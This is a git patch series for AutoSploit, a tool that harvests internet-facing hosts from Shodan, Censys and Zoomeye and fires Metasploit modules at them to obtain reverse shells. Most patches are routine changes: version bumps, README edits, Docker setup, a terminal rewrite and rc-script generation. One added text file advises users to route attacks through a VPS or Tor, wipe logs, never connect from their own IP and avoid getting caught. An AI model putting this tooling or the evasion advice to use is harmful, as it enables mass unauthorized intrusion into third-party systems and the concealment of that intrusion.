Sep 17 00:00:00 2001 From: ekultek Date: Wed, 10 Oct 2018 12:24:32 -0500 Subject: [PATCH 12/77] bumps version number --- lib/banner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/banner.py b/lib/banner.py index c4f1ddb..a53debe 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "2.2.2" +VERSION = "2.2.3" def banner_1(line_sep="#--", space=" " * 30): From def9dc1cf55f39fb0e10dabd9442dfd72fce8981 Mon Sep 17 00:00:00 2001 From: NullArray Date: Thu, 18 Oct 2018 03:07:16 +0000 Subject: [PATCH 13/77] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7b88d63..1ee4d75 100644 --- a/README.md +++ b/README.md @@ -46,7 +46,7 @@ sudo -s << EOF git clone https://github.com/NullArray/AutoSploit.git cd AutoSploit chmod +x install.sh -./installsh +./install.sh cd AutoSploit/Docker docker network create -d bridge haknet docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres From 1d6bab48d556170e4cfcede610ed2b32f3df4916 Mon Sep 17 00:00:00 2001 From: NullArray Date: Thu, 18 Oct 2018 03:22:58 +0000 Subject: [PATCH 14/77] Update README.md --- README.md | 23 +++++------------------ 1 file changed, 5 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index 1ee4d75..45c7189 100644 --- a/README.md +++ b/README.md @@ -64,7 +64,7 @@ chmod +x install.sh ./install.sh ``` -If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; +AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. In order to accomplish this employ/perform the below operations via the terminal or in the form of a shell script. ```bash sudo -s << '_EOF' @@ -149,21 +149,6 @@ misc arguments: --whitelist PATH only exploit hosts listed in the whitelist file ``` -If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; - -```bash -sudo -s << '_EOF' -pip2 install virtualenv --user -git clone https://github.com/NullArray/AutoSploit.git -virtualenv -source /bin/activate -cd -pip2 install -r requirements.txt -chmod +x install.sh -./install.sh -python autosploit.py -_EOF -``` ## Dependencies _Note_: All dependencies should be installed using the above installation method, however, if you find they are not: @@ -191,9 +176,11 @@ Since the program invokes functionality from the Metasploit Framework you need t ## Acknowledgements -Special thanks to [Ekultek](https://github.com/Ekultek) without whoms contributions to the project version 2.0 would have been a lot less spectacular. +Special thanks to [Ekultek](https://github.com/Ekultek) without whoms contributions to the project, version 2.0 would have been a lot less spectacular. + +Thanks to [Khast3x](https://github.com/khast3x) for setting up Docker support. -And thanks to [Khast3x](https://github.com/khast3x) for setting up Docker support. +Last but certainly not least. Thanks to all who have submitted Pull Requests, bug reports, useful and productive contributions in general. ### Active Development From 05eef3c6adc93098572e5e24d7c161e92f0f1482 Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 29 Oct 2018 10:28:22 -0500 Subject: [PATCH 15/77] fixes issue #224 and issue #221, deperecates some code that has to do with macOS which is no longer needed, removes the error_file after it has been used (if it has been used) --- autosploit/main.py | 4 +--- etc/scripts/start_services.sh | 11 ----------- lib/creation/issue_creator.py | 5 +++++ lib/exploitation/exploiter.py | 6 +++++- lib/term/terminal.py | 7 ++++++- 5 files changed, 17 insertions(+), 16 deletions(-) diff --git a/autosploit/main.py b/autosploit/main.py index 151c15e..d68f003 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -69,9 +69,7 @@ def main(): ) if choice.lower().startswith("y"): try: - if "darwin" in platform_running.lower(): - cmdline("{} darwin".format(START_SERVICES_PATH)) - elif "linux" in platform_running.lower(): + if "linux" in platform_running.lower(): cmdline("{} linux".format(START_SERVICES_PATH)) else: close("your platform is not supported by AutoSploit at this time", status=2) diff --git a/etc/scripts/start_services.sh b/etc/scripts/start_services.sh index 161888a..b34f143 100755 --- a/etc/scripts/start_services.sh +++ b/etc/scripts/start_services.sh @@ -11,21 +11,10 @@ function startPostgreSQLLinux () { sudo systemctl start postgresql > /dev/null 2>&1 } -function startApacheOSX () { - sudo apachectl start > /dev/null 2>&1 -} - -function startPostgreSQLOSX () { - brew services restart postgresql > /dev/null 2>&1 -} - function main () { if [ $1 == "linux" ]; then startApacheLinux; startPostgreSQLLinux; - elif [ $1 == "darwin" ]; then - startApacheOSX; - startPostgreSQLOSX; else echo "[*] invalid operating system"; fi diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py index b67041b..4b0cb95 100644 --- a/lib/creation/issue_creator.py +++ b/lib/creation/issue_creator.py @@ -1,4 +1,5 @@ import re +import os import sys import json import platform @@ -165,5 +166,9 @@ def request_issue_creation(path, arguments, error_message): lib.output.error( "someone has already created this issue here: {}".format(find_url(identifier)) ) + try: + os.remove(path) + except: + pass else: lib.output.info("the issue has been logged to a file in path: '{}'".format(path)) \ No newline at end of file diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 1c675c5..23f0add 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -78,7 +78,11 @@ def start_exploit(self, sep="*" * 10): today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss") current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable) - makedirs(current_run_path) + try: + makedirs(current_run_path) + except OSError: + current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable + "(1)") + makedirs(current_run_path) report_path = path.join(current_run_path, "report.csv") with open(report_path, 'w') as f: diff --git a/lib/term/terminal.py b/lib/term/terminal.py index cccf24c..e2d7dc8 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -274,7 +274,12 @@ def custom_host_list(self, mods): option 3 must be provided """ provided_host_file = lib.output.prompt("enter the full path to your host file", lowercase=False) - self.exploit_gathered_hosts(mods, hosts=provided_host_file) + if provided_host_file == "": + lib.output.error("you provided a blank hosts file, did you mean to?") + lib.output.info("defaulting to default hosts file (press CNTRL-C to go back and try again)") + self.exploit_gathered_hosts(mods, hosts=self.host_path) + else: + self.exploit_gathered_hosts(mods, hosts=provided_host_file) def terminal_main_display(self, loaded_mods): """ From 9eaee79a177ca052ddf04e0351adcefd9db624a9 Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 29 Oct 2018 10:28:42 -0500 Subject: [PATCH 16/77] bumps the version number --- lib/banner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/banner.py b/lib/banner.py index a53debe..2385de1 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "2.2.3" +VERSION = "2.2.4" def banner_1(line_sep="#--", space=" " * 30): From 6b37171877ec2586dbe773f503696b498c1470ae Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 29 Oct 2018 10:52:04 -0500 Subject: [PATCH 17/77] added to the end of the rc file, this will complete the exit if an exploit works --- lib/exploitation/exploiter.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 23f0add..ad9e33c 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -131,14 +131,14 @@ def start_exploit(self, sep="*" * 10): "set rhost {rhost}\n" "set rhosts {rhosts}\n" "run -z\n" - "exit\n" + "exit -y\n" ) - module_name=mod.strip() - workspace=self.configuration[0] - lhost=self.configuration[1] - lport=self.configuration[2] - rhost=host.strip() + module_name = mod.strip() + workspace = self.configuration[0] + lhost = self.configuration[1] + lport = self.configuration[2] + rhost = host.strip() current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip()) with open(current_rc_script_path, 'w') as f: From e5a45a084c7c328eb0d2e42fa5a2d6b323688409 Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 29 Oct 2018 11:30:00 -0500 Subject: [PATCH 18/77] minor updates --- .gitignore | 1 - lib/banner.py | 2 +- lib/cmdline/cmd.py | 20 +++++++++++++++++++- lib/settings.py | 20 ++++++++++++++++++++ 4 files changed, 40 insertions(+), 3 deletions(-) diff --git a/.gitignore b/.gitignore index 46e0072..302e263 100644 --- a/.gitignore +++ b/.gitignore @@ -7,4 +7,3 @@ uid.p etc/tokens/* autosploit_out/* venv/* -etc/json/* diff --git a/lib/banner.py b/lib/banner.py index 2385de1..8622824 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "2.2.4" +VERSION = "2.2.5" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index 467cd5a..817ea96 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -141,7 +141,25 @@ def single_run_args(opt, keys, loaded_modules): "You should take this ethical lesson into consideration " "before you continue with the use of this tool:\n\n{}\n".format(ethic)) if opt.downloadModules is not None: - print "downloading MODULES!" + import re + + modules_to_download = opt.downloadModules + links_list = "{}/etc/text_files/links.txt".format(lib.settings.CUR_DIR) + possibles = open(links_list).readlines() + for module in modules_to_download: + searcher = re.compile("{}".format(module)) + for link in possibles: + if searcher.search(link) is not None: + filename = lib.settings.download_modules(link.strip()) + download_filename = "{}.json".format(link.split("/")[-1].split(".")[0]) + download_path = "{}/etc/json".format(os.getcwd()) + current_files = os.listdir(download_path) + if download_filename not in current_files: + full_path = "{}/{}".format(download_path, download_filename) + lib.jsonize.text_file_to_dict(filename, filename=full_path) + lib.output.info("downloaded into: {}".format(download_path)) + else: + lib.output.warning("file already downloaded, skipping") if opt.exploitList: try: lib.output.info("converting {} to JSON format".format(opt.exploitList)) diff --git a/lib/settings.py b/lib/settings.py index 5fa540b..e3981aa 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -328,3 +328,23 @@ def save_error_to_file(error_info, error_message, error_class): "Traceback (most recent call):\n " + error_info.strip() + "\n{}: {}".format(error_class, error_message) ) return file_path + + +def download_modules(link): + import re + import requests + import tempfile + + lib.output.info('downloading: {}'.format(link)) + retval = "" + req = requests.get(link) + content = req.content + split_data = content.split(" ") + searcher = re.compile("exploit/\w+/\w+") + storage_file = tempfile.NamedTemporaryFile(delete=False) + for item in split_data: + if searcher.search(item) is not None: + retval += item + "\n" + with open(storage_file.name, 'a+') as tmp: + tmp.write(retval) + return storage_file.name From ffc71a38e99cfbe78d2109fea1f25d5af455a554 Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 29 Oct 2018 11:30:45 -0500 Subject: [PATCH 19/77] oops --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 302e263..46e0072 100644 --- a/.gitignore +++ b/.gitignore @@ -7,3 +7,4 @@ uid.p etc/tokens/* autosploit_out/* venv/* +etc/json/* From 7d6a577be29d4f7b5f11850f09f8a2ed3a74fed1 Mon Sep 17 00:00:00 2001 From: NullArray Date: Fri, 2 Nov 2018 15:04:08 +0000 Subject: [PATCH 20/77] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 57735e1..1e5930f 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,3 @@ -requests==2.18.4 +requests==2.20.0 psutil==5.3.0 beautifulsoup4==4.6.3 From 4fa0e20a46a6cb5ccaeb187e4f234adc92c0e901 Mon Sep 17 00:00:00 2001 From: Steven Aldinger Date: Sun, 2 Dec 2018 12:07:31 -0500 Subject: [PATCH 21/77] update dependencies in docker (#269) --- .github/.translations/README-de.md | 5 +++-- .github/.translations/README-fr.md | 5 +++-- Docker/Dockerfile | 24 +++++++++++++++--------- README.md | 5 +++-- 4 files changed, 24 insertions(+), 15 deletions(-) diff --git a/.github/.translations/README-de.md b/.github/.translations/README-de.md index e158bb1..4d28d97 100644 --- a/.github/.translations/README-de.md +++ b/.github/.translations/README-de.md @@ -152,7 +152,7 @@ misc arguments: Falls du AutoSploit auf einem System mit macOS ausführen willst, musst du das Programm trotz der Kompatibilität mit macOS in einer virtuellen Maschine ausführen, sodass es erfolgreich ausgeführt werden kann. Um dies zu tun, sind folgende Schritte nötig; ```bash -sudo -s << '_EOF' +sudo -s << '_EOF' pip2 install virtualenv --user git clone https://github.com/NullArray/AutoSploit.git virtualenv @@ -173,12 +173,13 @@ AutoSploit benötigt die folgenden Python 2.7 Module: ``` requests psutil +beautifulsoup4 ``` Wenn dir auffällt, dass du diese nicht installiert hast, kannst du sie über Pip installieren, wie nachfolgend gezeigt. ```bash -pip install requests psutil +pip install requests psutil beautifulsoup4 ``` oder diff --git a/.github/.translations/README-fr.md b/.github/.translations/README-fr.md index 05e28e1..e9c4c50 100644 --- a/.github/.translations/README-fr.md +++ b/.github/.translations/README-fr.md @@ -3,7 +3,7 @@ Comme vous pouvez l'imaginer au vu du nom de ce projet, AutoSploit automatise l'exploitation d'hôtes distantes connectées à internet. Les adresses des hôtes à attaquer sont collectées automatiquement grâce à l'aide de Shodan, Censys et Zoomeye. Vous pouvez également utiliser vos propres listes de cibles. Les modules Metasploit disponibles ont été sélectionnés afin de faciliter l'obtention d'exécution de code à distance ( Remote Code Execution, ou RCE ), qui permettent ensuite de créer des sessions terminal inversées ( reverse shell ) ou meterpreter ( via metasploit ). -**Ne soyez pas stupides** +**Ne soyez pas stupides** Recevoir les connexions de vos victimes directement sur votre ordinateur n'est pas vraiment une bonne idée. Vous devriez considérer l'option de dépenser quelques euros dans un VPS ( ou VPN ). @@ -127,12 +127,13 @@ AutoSploit exige la présence des modules Python2.7 suivants. ``` requests psutil +beautifulsoup4 ``` Si vous ne les avez pas, vous pouvez les installer avec les commandes ci-dessous ( dans le dossier d'AutoSploit ): ```bash -pip install requests psutil +pip install requests psutil beautifulsoup4 ``` ou diff --git a/Docker/Dockerfile b/Docker/Dockerfile index ae03a59..ad482c8 100644 --- a/Docker/Dockerfile +++ b/Docker/Dockerfile @@ -1,17 +1,23 @@ FROM kalilinux/kali-linux-docker -RUN apt update && apt install -y postgresql \ - apache2 \ - python-pip \ - python-dev \ - build-essential \ - git \ - metasploit-framework +RUN apt update \ + && apt install -y \ + apache2 \ + build-essential \ + git \ + metasploit-framework \ + postgresql \ + python-dev \ + python-pip + +RUN git clone https://github.com/NullArray/AutoSploit.git \ + && pip install -r AutoSploit/requirements.txt -RUN git clone https://github.com/NullArray/AutoSploit.git && pip install requests psutil COPY database.yml /root/.msf4/database.yml + WORKDIR AutoSploit + EXPOSE 80 443 4444 ENTRYPOINT ["python", "autosploit.py"] -#ENTRYPOINT ["bash"] +# ENTRYPOINT ["bash"] diff --git a/README.md b/README.md index 7b88d63..1721b4e 100644 --- a/README.md +++ b/README.md @@ -152,7 +152,7 @@ misc arguments: If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; ```bash -sudo -s << '_EOF' +sudo -s << '_EOF' pip2 install virtualenv --user git clone https://github.com/NullArray/AutoSploit.git virtualenv @@ -173,12 +173,13 @@ AutoSploit depends on the following Python2.7 modules. ``` requests psutil +beautifulsoup4 ``` Should you find you do not have these installed get them with pip like so. ```bash -pip install requests psutil +pip install requests psutil beautifulsoup4 ``` or From 37cf7ab43bd606642fd22f7631797014923af133 Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 31 Dec 2018 19:42:15 -0600 Subject: [PATCH 22/77] complete rewrite of terminal, now has history and commands along with the ability to run external commands, fixes all issues with bug tag --- README.md | 28 +- api_calls/censys.py | 2 +- api_calls/shodan.py | 2 +- api_calls/zoomeye.py | 2 +- autosploit/main.py | 4 +- etc/text_files/gen | 8 + lib/banner.py | 2 +- lib/cmdline/cmd.py | 12 +- lib/settings.py | 125 +++++++- lib/term/terminal.py | 728 +++++++++++++++++++++++++------------------ 10 files changed, 563 insertions(+), 350 deletions(-) create mode 100644 etc/text_files/gen diff --git a/README.md b/README.md index 1721b4e..45c7189 100644 --- a/README.md +++ b/README.md @@ -46,7 +46,7 @@ sudo -s << EOF git clone https://github.com/NullArray/AutoSploit.git cd AutoSploit chmod +x install.sh -./installsh +./install.sh cd AutoSploit/Docker docker network create -d bridge haknet docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres @@ -64,7 +64,7 @@ chmod +x install.sh ./install.sh ``` -If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; +AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. In order to accomplish this employ/perform the below operations via the terminal or in the form of a shell script. ```bash sudo -s << '_EOF' @@ -149,21 +149,6 @@ misc arguments: --whitelist PATH only exploit hosts listed in the whitelist file ``` -If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; - -```bash -sudo -s << '_EOF' -pip2 install virtualenv --user -git clone https://github.com/NullArray/AutoSploit.git -virtualenv -source /bin/activate -cd -pip2 install -r requirements.txt -chmod +x install.sh -./install.sh -python autosploit.py -_EOF -``` ## Dependencies _Note_: All dependencies should be installed using the above installation method, however, if you find they are not: @@ -173,13 +158,12 @@ AutoSploit depends on the following Python2.7 modules. ``` requests psutil -beautifulsoup4 ``` Should you find you do not have these installed get them with pip like so. ```bash -pip install requests psutil beautifulsoup4 +pip install requests psutil ``` or @@ -192,9 +176,11 @@ Since the program invokes functionality from the Metasploit Framework you need t ## Acknowledgements -Special thanks to [Ekultek](https://github.com/Ekultek) without whoms contributions to the project version 2.0 would have been a lot less spectacular. +Special thanks to [Ekultek](https://github.com/Ekultek) without whoms contributions to the project, version 2.0 would have been a lot less spectacular. + +Thanks to [Khast3x](https://github.com/khast3x) for setting up Docker support. -And thanks to [Khast3x](https://github.com/khast3x) for setting up Docker support. +Last but certainly not least. Thanks to all who have submitted Pull Requests, bug reports, useful and productive contributions in general. ### Active Development diff --git a/api_calls/censys.py b/api_calls/censys.py index 2a91842..1c29d3e 100644 --- a/api_calls/censys.py +++ b/api_calls/censys.py @@ -24,7 +24,7 @@ def __init__(self, identity=None, token=None, query=None, proxy=None, agent=None self.host_file = HOST_FILE self.save_mode = save_mode - def censys(self): + def search(self): """ connect to the Censys API and pull all IP addresses from the provided query """ diff --git a/api_calls/shodan.py b/api_calls/shodan.py index ff8b68f..5db7a1a 100644 --- a/api_calls/shodan.py +++ b/api_calls/shodan.py @@ -25,7 +25,7 @@ def __init__(self, token=None, query=None, proxy=None, agent=None, save_mode=Non self.host_file = HOST_FILE self.save_mode = save_mode - def shodan(self): + def search(self): """ connect to the API and grab all IP addresses associated with the provided query """ diff --git a/api_calls/zoomeye.py b/api_calls/zoomeye.py index eea3b01..6bc2232 100644 --- a/api_calls/zoomeye.py +++ b/api_calls/zoomeye.py @@ -54,7 +54,7 @@ def __get_auth(self): token = json.loads(req.content) return token - def zoomeye(self): + def search(self): """ connect to the API and pull all the IP addresses that are associated with the given query diff --git a/autosploit/main.py b/autosploit/main.py index d68f003..3839ab5 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -117,8 +117,8 @@ def main(): loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) info("attempting to load API keys") loaded_tokens = load_api_keys() - terminal = AutoSploitTerminal(loaded_tokens) - terminal.terminal_main_display(loaded_exploits) + terminal = AutoSploitTerminal(loaded_tokens, loaded_exploits) + terminal.terminal_main_display(loaded_tokens) except Exception as e: import traceback diff --git a/etc/text_files/gen b/etc/text_files/gen new file mode 100644 index 0000000..f2d3a1b --- /dev/null +++ b/etc/text_files/gen @@ -0,0 +1,8 @@ +usage of AutoSploit for attacking targets without prior mutual consent is illegal in pretty much every sense of the word. it is the end user's responsibility to obey all applicable local, state, and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program. please take these considerations into mind: + + - use AutoSploit on a VPS through a proxy or Tor + - keep calm and wipe the logs or use tools to do so + - never connect from your local IP address + - keep a low profile, the point of hacking is not to get caught + +we do not condone hacking of any sort, the above are tips to keep in mind for ethical purposes. having said that, knowledge is not illegal, and anybody that tells you learning is wrong is a fool. get as much out of this program as we got from writing it. \ No newline at end of file diff --git a/lib/banner.py b/lib/banner.py index 8622824..5567e5b 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "2.2.5" +VERSION = "3.0" def banner_1(line_sep="#--", space=" " * 30): diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index 817ea96..4ea9cb7 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -187,33 +187,33 @@ def single_run_args(opt, keys, loaded_modules): keys["censys"][1], keys["censys"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).censys() + ).search() if opt.searchZoomeye: lib.output.info(single_search_msg.format("Zoomeye")) api_searches[0]( opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).zoomeye() + ).search() if opt.searchShodan: lib.output.info(single_search_msg.format("Shodan")) api_searches[1]( keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).shodan() + ).search() if opt.searchAll: lib.output.info("searching all search engines in order") api_searches[0]( opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).zoomeye() + ).search() api_searches[1]( keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).shodan() + ).search() api_searches[2]( keys["censys"][1], keys["censys"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).censys() + ).search() if opt.startExploit: hosts = open(lib.settings.HOST_FILE).readlines() if opt.whitelist: diff --git a/lib/settings.py b/lib/settings.py index e3981aa..2488f09 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -6,6 +6,7 @@ import platform import getpass import tempfile +import readline import distutils.spawn from subprocess import ( PIPE, @@ -16,9 +17,56 @@ import lib.output import lib.banner +import lib.jsonize + +class AutoSploitCompleter(object): + + """ + object to create an auto completer for the terminal + """ + + def __init__(self, opts): + self.opts = sorted(opts) + self.possibles = [] + + def complete_text(self, text, state): + if state == 0: + if text: + self.possibles = [m for m in self.opts if m.startswith(text)] + else: + self.possibles = self.opts[:] + try: + return self.possibles[state] + except IndexError: + return None + + +TERMINAL_HELP_MESSAGE = """ +COMMAND: SUMMARY: +--------- -------- +view/show Show the already gathered hosts +mem[ory]/history Display the command history +exploit/run/attack Run the exploits on the already gathered hosts +search/api/gather Search the API's for hosts +exit/quit Exit the terminal session +single Load a single host into the file +tokens/reset Reset API tokens if needed +help/? Display this help +""" + +# current directory CUR_DIR = "{}".format(os.getcwd()) +# home +HOME = "{}/.autosploit_home".format(os.path.expanduser("~")) + +# backup the current hosts file +HOST_FILE_BACKUP = "{}/backups".format(HOME) + +# autosploit command history file path +HISTORY_FILE_PATH = "{}/.history".format(HOME) + # path to the file containing all the discovered hosts HOST_FILE = "{}/hosts.txt".format(CUR_DIR) try: @@ -49,7 +97,7 @@ PLATFORM_PROMPT = "\n{}@\033[36mPLATFORM\033[0m$ ".format(getpass.getuser()) # the prompt that will be used most of the time -AUTOSPLOIT_PROMPT = "\n\033[31m{}\033[0m@\033[36mautosploit\033[0m# ".format(getpass.getuser()) +AUTOSPLOIT_PROMPT = "\033[31m{}\033[0m@\033[36mautosploit\033[0m# ".format(getpass.getuser()) # all the paths to the API tokens API_KEYS = { @@ -74,7 +122,7 @@ TOKEN_PATH = "{}/etc/text_files/auth.key".format(CUR_DIR) # location of error files -ERROR_FILES_LOCATION = "{}/.autosploit_errors".format(os.path.expanduser("~")) +ERROR_FILES_LOCATION = "{}/.autosploit_errors".format(HOME) # terminal options AUTOSPLOIT_TERM_OPTS = { @@ -83,14 +131,58 @@ 99: "quit" } +# global variable for the search animation stop_animation = False -def validate_ip_addr(provided): +def load_external_commands(): + """ + create a list of external commands from provided directories + """ + paths = ["/bin", "/usr/bin"] + loaded_externals = [] + for f in paths: + for cmd in os.listdir(f): + if not os.path.isdir("{}/{}".format(f, cmd)): + loaded_externals.append(cmd) + return loaded_externals + + +def backup_host_file(current, path): + """ + backup the current hosts file + """ + import datetime + import shutil + + if not os.path.exists(path): + os.makedirs(path) + new_filename = "{}/hosts_{}_{}.txt".format( + path, + lib.jsonize.random_file_name(length=17), + str(datetime.datetime.today()).split(" ")[0] + ) + shutil.copyfile(current, new_filename) + return new_filename + + +def auto_completer(keywords): + """ + function to initialize the auto complete utility + """ + completer = AutoSploitCompleter(keywords) + readline.set_completer(completer.complete_text) + readline.parse_and_bind('tab: complete') + + +def validate_ip_addr(provided, home_ok=False): """ validate an IP address to see if it is real or not """ - not_acceptable = ("0.0.0.0", "127.0.0.1", "255.255.255.255") + if not home_ok: + not_acceptable = ("0.0.0.0", "127.0.0.1", "255.255.255.255") + else: + not_acceptable = ("255.255.255.255",) if provided not in not_acceptable: try: socket.inet_aton(provided) @@ -186,7 +278,7 @@ def load_api_keys(unattended=False, path="{}/etc/tokens".format(CUR_DIR)): return api_tokens -def cmdline(command): +def cmdline(command, is_msf=True): """ send the commands through subprocess """ @@ -200,7 +292,10 @@ def cmdline(command): stdout_buff = [] for stdout_line in iter(proc.stdout.readline, b''): stdout_buff += [stdout_line.rstrip()] - print("(msf)>> {}".format(stdout_line).rstrip()) + if is_msf: + print("(msf)>> {}".format(stdout_line).rstrip()) + else: + print("{}".format(stdout_line).rstrip()) return stdout_buff @@ -331,6 +426,9 @@ def save_error_to_file(error_info, error_message, error_class): def download_modules(link): + """ + download new module links + """ import re import requests import tempfile @@ -348,3 +446,18 @@ def download_modules(link): with open(storage_file.name, 'a+') as tmp: tmp.write(retval) return storage_file.name + + +def find_similar(command, internal, external): + """ + find commands similar to the one provided + """ + retval = [] + first_char = command[0] + for inter in internal: + if inter.startswith(first_char): + retval.append(inter) + for exter in external: + if exter.startswith(first_char): + retval.append(exter) + return retval diff --git a/lib/term/terminal.py b/lib/term/terminal.py index e2d7dc8..472ed1f 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -1,13 +1,18 @@ import os -import sys +import datetime import lib.settings import lib.output import lib.errors -import lib.exploitation.exploiter +import lib.jsonize import api_calls.shodan import api_calls.zoomeye import api_calls.censys +import lib.exploitation.exploiter +try: + raw_input +except: + input = raw_input class AutoSploitTerminal(object): @@ -16,359 +21,460 @@ class AutoSploitTerminal(object): class object for the main terminal of the program """ - def __init__(self, tokens): + internal_terminal_commands = [ + # viewing gathered hosts + "view", "show", + # displaying memory + "mem", "memory", "history", + # attacking targets + "exploit", "run", "attack", + # search API's + "search", "api", "gather", + # quit the terminal + "exit", "quit", + # single hosts + "single", + # custom hosts list + "custom", "personal", + # display help + "?", "help", + # display external commands + "external", + # reset API tokens + "reset", "tokens", + # easter eggs! + "idkwhatimdoing", "ethics", "skid" + ] + external_terminal_commands = lib.settings.load_external_commands() + api_call_pointers = { + "shodan": api_calls.shodan.ShodanAPIHook, + "zoomeye": api_calls.zoomeye.ZoomEyeAPIHook, + "censys": api_calls.censys.CensysAPIHook + } + + def __init__(self, tokens, modules): + self.history = [] + self.quit_terminal = False self.tokens = tokens - self.usage_path = lib.settings.USAGE_AND_LEGAL_PATH - self.sep = "-" * 30 - self.host_path = lib.settings.HOST_FILE + self.history_dir = "{}/{}".format(lib.settings.HISTORY_FILE_PATH, datetime.date.today()) + self.full_history_path = "{}/autosploit.history".format(self.history_dir) + self.modules = modules try: - open(lib.settings.HOST_FILE).readlines() - except IOError: - lib.output.warning("no hosts file present, you need to gather some hosts") - self.host_path = lib.settings.HOST_FILE - - @staticmethod - def help_menu_full(): - seperator = "-" * 30 - help_choices = [ - (0, "usage"), - (1, "view"), - (2, "single"), - (3, "exit"), - (4, "gather"), - (5, "exploit"), - (6, "custom"), - ] - print("\n{}\nPossible help choices:".format(seperator)) - for i, _ in enumerate(help_choices): - print("{}- `help {}`".format(" " * 3, help_choices[i][1])) - print("{}\n".format(seperator)) + self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() + except: + lib.output.warning("no hosts file present") + self.loaded_hosts = [] - def usage_and_legal(self): + def reflect_memory(self, max_memory=100): """ - shows a display of the output and legal information that resides - in the etc/text_files/general file. - - option 1 must be provided to display + reflect the command memory out of the history file """ - lib.output.info("preparing to display usage and legal") - with open(self.usage_path) as usage: - print(usage.read().strip()) + if os.path.exists(self.history_dir): + tmp = [] + try: + with open(self.full_history_path) as history: + for item in history.readlines(): + tmp.append(item.strip()) + except: + pass + if len(tmp) == 0: + lib.output.warning("currently no history") + elif len(tmp) > max_memory: + import shutil + + history_file_backup_path = "{}.{}.old".format( + self.full_history_path, + lib.jsonize.random_file_name(length=12) + ) + shutil.copy(self.full_history_path, history_file_backup_path) + os.remove(self.full_history_path) + open(self.full_history_path, 'a+').close() + lib.output.misc_info("history file to large, backed up under '{}'".format(history_file_backup_path)) + else: + for cmd in tmp: + self.history.append(cmd) - def help(self, command): + def do_display_history(self): """ - print the help of the commands + display the history from the history files """ - help_dict = { - "usage": self.usage_and_legal, - "view": self.view_gathered_hosts, - "single": self.add_single_host, - "exit": self.quit, - "gather": self.gather_hosts, - "exploit": self.exploit_gathered_hosts, - "custom": self.custom_host_list - } - for key in help_dict.keys(): - if command == key: - lib.output.info("help found for provided argument:") - print(self.sep) - print(help_dict[key].__doc__) - print(self.sep) - break - else: - lib.output.warning("unable to find help for provided command '{}'".format(command)) - lib.output.info("available helps '{}'".format( - ", ".join([k for k in help_dict.keys()]) - )) + for i, item in enumerate(self.history, start=1): + if len(list(str(i))) == 2: + spacer1, 